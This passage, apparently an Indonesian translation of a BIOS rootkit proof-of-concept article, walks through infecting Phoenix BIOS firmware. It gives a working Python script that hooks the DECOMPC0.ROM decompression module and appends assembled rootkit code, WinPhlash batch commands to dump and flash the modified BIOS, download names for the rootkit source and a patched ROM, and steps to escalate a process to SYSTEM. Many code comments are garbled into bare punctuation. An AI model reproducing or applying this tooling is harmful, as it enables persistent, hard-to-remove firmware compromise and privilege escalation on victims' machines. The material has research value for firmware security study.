Membuka kemasan dan menambal BIOS
Sekarang kita tahu bagaimana kita ingin menginjeksi rootkit ke dalam BIOS, langkah selanjutnya adalah menambal BIOS dengan kode rootkit kita. Untuk melakukan ini, kita perlu mengekstrak semua modul BIOS, menambal modul pembongkaran dan membangun kembali semuanya. Modul dapat diekstraksi menggunakan utilitas konsol phxdeco atau Phoenix BIOS Editor. Setelah modul unpacking diekstrak, kode berikut akan menambalnya dengan rootkit kami:
#!/usr/bin/python
import os,struct,sys
###############################################
# BIOS -
# Phoenix BIOS Editor ( Windows) , , Β«DECOMPC0.ROMΒ».
# C:\Program Files\Phoenix Bios Editor\TEMP ( ) BIOS WPH. .
# , BIOS Editor BIOS - BIOS Editor BIOS WPH.
# phnxdeco.exe, .
# , NASM , .
#
# INPUT:
# , asm- BIOS .
#
# OUTPUT:
# DECOMPC0.ROM, , , , asm- BIOS.
#
if len(sys.argv) < 2:
print "Modify and rebuild Phoenix BIOS DECOMP0.ROM module. Rootkit ASM code filename
required!"
exit(0)
#
shellcode = sys.argv[1].lower()
# . NASM , !
os.system('nasm %s' % shellcode)
#
shellcodeout = shellcode[0:len(shellcode)-4]
decomphook = open(shellcodeout,'rb').read()
print "Rootkit code loaded: %d bytes" % len(decomphook)
# , 0x23 ROM .
# ROM , push, CLD. mov.
# , .
# , , Near Call, ROM- , .
# NOP .
minihook = '\xe8\x28\x04\x90\x90\x90'
# , , !
# minihook = '\x9a\x5A\x04\xDC\x64\x90' # call far +0x45A
# ROM
decorom = open('DECOMPC0.ROM','rb').read()
# - 0x23, CLD
hookoffset=0x23
# ROM , ,
decorom = decorom[:hookoffset]+minihook+decorom[len(minihook)+hookoffset:]
# ROM NOP.
# , , .
decorom+="\x90"*100+decomphook
# 10 NOP .
decorom=decorom+'\x90'*10
# ROM,
decorom=decorom[:0xf]+struct.pack("<H",len(decorom)-0x1A)+decorom[0x11:]
# ROM
out=open('DECOMPC0.ROM','wb')
out.write(decorom)
out.close()
#
print "The DECOMPC0.ROM file has now been patched."
Contoh memanggil skrip ini bisa jadi:
python patchdecomp.py biosrootkit.asm
Jika semuanya berfungsi dengan baik, Anda akan melihat sesuatu yang mirip dengan berikut ini:
Rootkit code loaded: 1845 bytes
The DECOMPC0.ROM file has now been patched.
Bangun kembali BIOS
Untuk file BIOS utama, seperti yang disertakan dalam VMware, sejumlah utilitas baris perintah yang disertakan dalam Phoenix Bios Editor (atau tersedia dari Intel) dapat digunakan untuk membangun kembali. Kemudian, saat menguji pada PC nyata, itu perlu untuk menyimpan BIOS tidak hanya dalam format utama, sehingga versi GUI dari Phoenix Bios Editor digunakan sebagai alat untuk membangun kembali. Sayangnya, ini berarti bahwa tidak mungkin hanya memiliki satu aplikasi yang dapat dijalankan pada sistem untuk menginfeksi BIOS, setidaknya tanpa menggunakan alat yang telah disiapkan.
Ini berarti bahwa infeksi BIOS adalah proses tiga langkah yang memerlukan beberapa intervensi manual, terutama perakitan ulang. Phoenix BIOS Editor dengan gambar BIOS terbuka ditunjukkan di bawah ini:
Phoenix BIOS Editor tidak dirancang untuk menggantikan modul, namun memberikan kesempatan seperti itu. Ketika image BIOS dibuka untuk pertama kalinya, semua modul BIOS akan diekstrak ke disk di folder yang terletak di
C:\Program Files\Phoenix BIOS Editor\TEMP\. Modul unpacking dapat disalin dari folder ini, diperbaiki dan diganti. Phoenix BIOS Editor tidak akan membiarkan Anda menyimpan BIOS tanpa perubahan, jadi untuk menyimpan BIOS kita harus mengubah beberapa nilai string dan kemudian mengubahnya kembali (atau biarkan seperti itu).
Kode sumber rootkit BIOS dan skrip tambalan dapat diunduh dari tautan di akhir artikel ini jika Anda ingin melakukan semuanya sendiri.
PC nyata
Phoenix BIOS digunakan di semua desain berbasis VMware, jadi dipilih untuk pengujian pada PC fisik juga. Semua pengujian BIOS fisik (bukan virtual) dilakukan menggunakan laptop HP Pavilion ze4400. Awalnya, pengujian BIOS direncanakan menggunakan PC, bukan laptop, karena akan lebih mudah mengakses motherboard PC untuk melakukan flashing jika perlu. Terlepas dari itu, tidak mudah menemukan PC dengan BIOS Phoenix dengan cepat, jadi saya harus menggunakan laptop sebagai gantinya (terima kasih khusus kepada David karena mem-flash laptop saya setelah saya secara tidak sengaja menulis kode sumber ke BIOS saya!)
Mengekstrak BIOS di PC
Langkah pertama untuk memodifikasi BIOS sistem nyata adalah mengekstrak salinannya. Phoenix memiliki dua alat berbeda yang biasanya mereka sediakan untuk tujuan ini, yang satu disebut "Phlash16" dan yang lainnya disebut "WinPhlash". Phlash16 adalah utilitas baris perintah (dengan konsol GUI), tetapi hanya berjalan dari DOS. WinPhlash, seperti namanya, dijalankan dari Windows. Meskipun merupakan utilitas GUI, ia juga menerima parameter baris perintah, yang memungkinkan kita untuk mengotomatiskan proses ekstraksi BIOS. Untuk proyek ini, saya membuat beberapa skrip untuk mengotomatiskan ekstraksi dan patching BIOS, tetapi mereka agak primitif dan tidak terlalu fungsional.
Skrip batch berikut akan menyalin BIOS ke dalam sebuah file bernama
BIOSORIG.WPHdan kemudian memeriksa untuk melihat apakah sebelumnya telah dimodifikasi. Skrip PerlCheckFlash.py hanya memeriksa isi BIOS untuk nama saya, yang tidak ada di BIOS yang tidak dimodifikasi.
@rem BIOS , .
@rem
WinPhlash\WinPhlash.exe /ro=BIOSORIG.WPH
@rem , BIOS
Python\PortablePython_1.1_py2.6.1\App\python CheckFlash.py WinPhlash\BIOSORIG.WPH
Membongkar dan Menambal BIOS di PC
Setelah mengekstrak BIOS, langkah selanjutnya adalah menambalnya dengan kode rootkit kami. Ini dapat dilakukan dengan menggunakan skrip yang sama yang kami gunakan untuk VMware pada bagian di atas. Tujuan dari proyek ini adalah untuk menciptakan proses patch dan patching yang sekonsisten mungkin. Saya sangat senang bahwa ini ternyata sepenuhnya dapat dilakukan, sehingga alat yang sama dapat digunakan untuk perangkat keras yang sama sekali berbeda yang berjalan pada jenis BIOS yang sama.
Bangun kembali BIOS pada PC
Meskipun ada alat gratis yang dapat mengekstrak modul dari Phoenix BIOS, sepertinya hanya Phoenix Bios Editor yang akan membuatnya seperti yang dibutuhkan PC pada umumnya. Alat WinPhlash membutuhkan informasi tambahan untuk diaktifkan di BIOS, yang disimpan bersama dengan BIOS mentah dalam file WPH. Setelah menguji banyak opsi berbeda, sepertinya satu-satunya cara untuk berhasil membangun file WPH adalah dengan menggunakan GUI Phoenix Bios Editor. Sayangnya, ini berarti bahwa tidak mungkin hanya memiliki satu aplikasi yang dapat dijalankan pada sistem untuk menginfeksi BIOS, setidaknya tanpa menggunakan alat yang disediakan.
Secara teori, seharusnya dimungkinkan untuk merekayasa balik format WPH dan membuat alat perakitan ulang BIOS kustom, tetapi itu berada di luar cakupan proyek ini. Sebaliknya, menginfeksi BIOS adalah proses tiga langkah yang memerlukan beberapa intervensi manual, terutama perakitan ulang.
Seperti dengan menambal VMware BIOS, Anda dapat menggunakan teknik yang sama untuk meminta Phoenix BIOS Editor membangun kembali modul yang ditambal. Saat image BIOS dibuka untuk pertama kalinya, semua modul BIOS akan diekstrak ke disk di folder yang terletak di
C:\Program Files\Phoenix BIOS Editor\TEMP\... Modul unpacking dapat disalin dari folder ini, ditambal dan diganti. Phoenix BIOS Editor tidak akan membiarkan Anda menyimpan BIOS tanpa perubahan, jadi Anda perlu mengubah beberapa nilai string dan kemudian mengembalikannya (atau biarkan seperti itu) untuk menyimpan BIOS.
Flashing BIOS
Setelah BIOS dibangun kembali menjadi file WPH, skrip batch berikut akan memindahkan image BIOS baru ke dalam BIOS EEPROM dan kemudian mem-boot ulang komputer agar perubahan diterapkan:
@rem "BIOSPATCHED.WPH" BIOS , .
WinPhlash\WinPhlash.exe /bu=BIOSBACKUP.WPH /I BIOSPATCHED.WPH
Hasil modifikasi pada laptop
Menggabungkan semua pekerjaan sebelumnya, berikut ini menunjukkan bagaimana kode BIOS di-porting ke laptop (dimulai oleh skrip infect.bat yang dijelaskan di atas):
Setelah flashing selesai, rootkit BIOS berhasil dimulai dan boot ke kernel Windows. Tangkapan layar berikut menunjukkan baris perintah yang awalnya dijalankan sebagai pengguna biasa, dan kemudian setelah 30 detik, hak istimewanya meningkat:
Ini menunjukkan bahwa rootkit BIOS cukup portabel untuk dijalankan pada banyak sistem (VMware, laptop HP), dan bahwa mekanisme infeksi fungsional dan bekerja dengan baik.
"Rootkit" yang dikembangkan untuk proyek ini hanya melakukan satu tugas sederhana, tetapi sebagaimana dicatat dalam kaitannya dengan perangkat lunak Vbootkit2, tidak ada alasan mengapa fungsionalitas tambahan tidak dapat ditambahkan ke dalamnya. Proyek ini menampilkan Phoenix BIOS, dan kemungkinan ada banyak kesamaan antara Phoenix BIOS dan BIOS dari pabrikan lain. Meskipun kemungkinan kode perlu ditulis untuk setiap vendor secara terpisah, jumlahnya tidak banyak, jadi disarankan untuk memperluas fungsionalitas rootkit ke semua vendor umum.
Dalam pendahuluan, saya mencatat bahwa fitur BIOS baru seperti pembaruan yang ditandatangani membuat apa yang dijelaskan di sini jauh lebih sedikit dari ancaman keamanan. Ini tentunya bagus untuk dicatat, tetapi juga perlu diingat bahwa ada lebih banyak komputer yang "ketinggalan zaman" daripada yang "baru", jadi jenis serangan ini akan tetap menjadi masalah untuk waktu yang lama.
Demo VMware BIOS dan Kode Sumber
Kode sumber berikut dan BIOS yang direvisi disediakan sebagai bukti konsep. Saya sama sekali tidak menyarankan agar orang-orang mengambil ini dan menggunakannya untuk tujuan jahat apa pun, tetapi saya ingin menunjukkan bahwa serangan semacam itu cukup layak dalam konfigurasi BIOS yang lebih lama. Saya tidak berpikir realistis untuk mengambil pekerjaan ini sebagaimana adanya dan mengubahnya menjadi malware yang bisa bekerja, dan untuk alasan itu saya memposting kode ini di Internet.
Seperti disebutkan di bagian sebelumnya, kode ini seharusnya berfungsi untuk menambal sebagian besar BIOS Phoenix. Skrip patch dapat diunduh di sini:
BIOS_Based_Rootkit_Patch_Scripts.zip
Kode sumber dari rootkit BIOS dapat diunduh di sini:
biosrootkit.asm
Anda membutuhkan NASMuntuk mengompilasi kode patch BIOS jika Anda menggunakan skrip / kode sumber di atas. Agar NASM berhasil bekerja, tambahkan ke variabel jalur atau perbarui skrip tambalan agar memiliki jalur absolut ke sana. Anda juga memerlukan salinan Phoenix BIOS Editor atau yang setara gratis untuk mengembalikan unpacker ke BIOS penuh.
Jika Anda tidak ingin mengkompilasi semua ini sendiri dan hanya ingin melihat-lihat apa yang saya dapatkan, BIOS yang ditambal untuk digunakan dengan VMware dapat diunduh di sini:
BIOS_rootkit_demo.ROM
Menggunakan bukti konsep dan catatan
Jika Anda tidak ingin membaca semua pekerjaan di atas, berikut adalah ikhtisar tentang cara mencobanya dan apa fungsinya.
- Pertama unduh gambar
BIOS_rootkit_demo.ROMdari tautan di atas. - , VMware Windows XP. VMware Workstation, VMware Player ( ). , VMware Fusion .
- WinXP, , ,
.vmx(,WindowsXP.vmx) . , :bios440.filename = "BIOS_rootkit_demo.ROM". ,BIOS_rootkit_demo.ROM, . - ,
pwn.exe(,cmd.exe). - Tunggu 30 detik lalu luncurkan Task Manager. Sekarang
Pwn.exeseharusnya berjalan sebagai pengguna "SISTEM", bukan sebagai pengguna yang Anda masuki XP.
Langkah-langkah di atas harus berhasil di dunia yang ideal. Namun, sebagai hasil pengujian, tarian berikut dengan rebana terungkap!
- Ketidakstabilan OS. Terkadang, saat memuat atau hanya menutup aplikasi,
pwn.exeWindows mengeluarkan BSOD. - Manajer tugas akan berbohong tentang pengguna proses Anda jika Anda membukanya sebelum waktu eskalasi hak istimewa 30-an. Gunakan sesuatu seperti cmd dengan whoami untuk memeriksa izin Anda dengan benar.
- Meskipun saya telah berhasil mengunduh ini ke PC asli, saya tidak bertanggung jawab atas hasilnya jika Anda melakukan hal yang sama. Saya ingin sekali mendengar tentang bagaimana Anda akan membuat bata motherboard Anda dengan cara yang konyol jika itu terjadi, tetapi saya mungkin tidak akan membantu Anda dengan konsekuensinya! Uji risiko Anda sendiri!
Jika Anda hanya ingin menonton video tentang bagaimana hal itu terjadi, Colin mempostingnya di YouTube: Saya merekomendasikan untuk benar-benar mencoba ini di VMware, jauh lebih menyenangkan melihat bagaimana menghapus hard drive Anda tidak menyelesaikan apa pun dan sistem Anda masih kagum!